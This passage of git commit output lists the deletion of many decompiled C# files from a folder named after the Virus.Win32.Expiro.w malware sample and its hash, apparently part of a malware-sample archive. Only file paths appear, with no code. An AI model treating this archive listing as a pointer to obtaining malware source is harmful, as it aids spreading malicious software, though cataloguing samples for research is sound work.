100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/WPCSETTING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/X931_restart_t.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/ActivationContext.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/AtExitLock.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/DefaultDomain.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/LanguageSupport.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/NativeDll.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/Progress.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/ThisModule.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/TriBool.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CModule_003E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACCESS_MODE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACL_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ACTIVATION_CONTEXT_INFO_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_APTTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_AUDIT_EVENT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_BIN_TYPES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CERT_CHAIN_CONTEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CHANGER_DEVICE_PROBLEM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CM_ERROR_CONTROL_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CM_SERVICE_LOAD_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CM_SERVICE_NODE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_COMPUTER_NAME_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_CRYPT_OID_INFO.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DETECTION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DEVICE_POWER_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DISK_WRITE_CACHE_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DNS_CHARSET.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DNS_NAME_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_Direction.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_DnsSection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ELEMENT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ENLISTMENT_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_EXCEPTION_DISPOSITION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_EXCEPTION_POINTERS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_EXPLICIT_ACCESS_W.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_FINDEX_INFO_LEVELS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_FINDEX_SEARCH_OPS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_GET_FILEEX_INFO_LEVELS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_GPO_LINK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_GUID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_HEAP_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_HandleType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_IDL_CS_CONVERT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ITEMIDLIST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_JOBOBJECTINFOCLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KERB_LOGON_SUBMIT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KERB_PROFILE_BUFFER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KERB_PROTOCOL_MESSAGE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_KTMOBJECT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_LOGICAL_PROCESSOR_RELATIONSHIP.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_LUID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MANDATORY_LEVEL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MEDIA_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MSV1_0_LOGON_SUBMIT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MSV1_0_PROFILE_BUFFER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_MULTIPLE_TRUSTEE_OPERATION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_OSVERSIONINFOW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PARTITION_STYLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_AUDIT_EVENT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_DOMAIN_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_LSA_SERVER_ROLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PROCESSOR_CACHE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PROC_THREAD_ATTRIBUTE_NUM.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PROGRESS_INVOKE_SETTING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PSC_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PS_RATE_PHASE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_PaddingMode.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RESOURCEMANAGER_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPCCALLBACKS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_ASYNC_EVENT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_HTTP_REDIRECTOR_STAGE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_NOTIFICATION_TYPES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_REQUEST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_RPC_RESPONSE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SASL_AUTHZID_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SC_ACTION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SC_ENUM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SC_STATUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_ATTRIBUTES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_IMPERSONATION_LEVEL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_LOGON_SESSION_DATA.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SECURITY_LOGON_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SETTINGSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SE_ADT_PARAMETER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SE_OBJECT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SID_NAME_USE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SPACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SPTEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_ASSOCIATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_BUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_IDENTIFIER_CODE_SET.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_IDENTIFIER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_ID_NAA_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_MEDIA_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_PORT_CODE_SET.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_PROPERTY_ID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STORAGE_QUERY_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STREAM_INFO_LEVELS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SYSTEM_POWER_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SecDelegationType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TAPE_DRIVE_PROBLEM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_COMMON_BUTTON_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_ELEMENTS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_ICON_ELEMENTS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_MESSAGES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_NOTIFICATIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_THDTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_ELEVATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_MANDATORY_LABEL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_OWNER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_STATISTICS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TP_CALLBACK_ENVIRON.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTIONMANAGER_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTION_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTION_OUTCOME.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTION_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRUSTED_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRUSTEE_FORM.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRUSTEE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_URLZONEREG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_USER_MARSHAL_CB_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_CACHE_CHANGE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_CACHE_ENABLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_CACHE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_THROUGH.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0002.cs delete mode 100644 